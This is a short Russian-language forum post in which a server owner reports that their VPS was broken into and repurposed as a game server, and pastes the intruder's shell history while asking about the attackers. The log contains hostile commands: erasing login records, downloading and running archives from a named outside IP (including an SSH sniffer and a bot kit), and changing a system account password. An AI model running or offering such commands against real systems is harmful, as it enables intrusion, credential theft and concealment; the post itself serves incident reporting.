Взлом VPS >> установка CStrike
828 сообщений
#13 лет назад
Доброго времени суток уважаемые коллеги.На днях встречалась ли активность на сервере у кого то?
Проблемма: Частые сбои из-за нехватки ресурсов сервера. Не ясно.. Не ясно.. Не ясно.. После 2х дней оказалось, что добрые люди повзаимствовали собственный сервер и превратили его в GameServer.
лог:
/sbin/ifconfig
cd /lib/modules
ls
unset ; rm -rf /var/run/utmp /var/log/wtmp /var/log/lastlog
wget ссылка
rm -rf W2Ksp3.exe
cat /etc/issue
yum install zlib
yum install zlib-devel
yum install openssl
yum install openssl-devel
clear
yum install gc
yum install gcc
clear
ls
yum install sendmail
wget ссылка ; tar zxvf mech.tgz ; rm -rf mech.tgz; cd .update ; ./autorun ; ./start hackIn2
cd ..
wget http://159.253.1.16/sniff.tgz ; tar zxvf sniff.tgz ; rm -rf sniff.tgz ; cd ssh ; chmod +xrw *
./inst
passwd bin
w
ps x
exit
Есть кто знакомый с этими ребятами (159.253.1.16, penet.moy.su)?
Чуть покопались, оказалось не единственные.
Пока что остался вопрос: "где утечка информации?"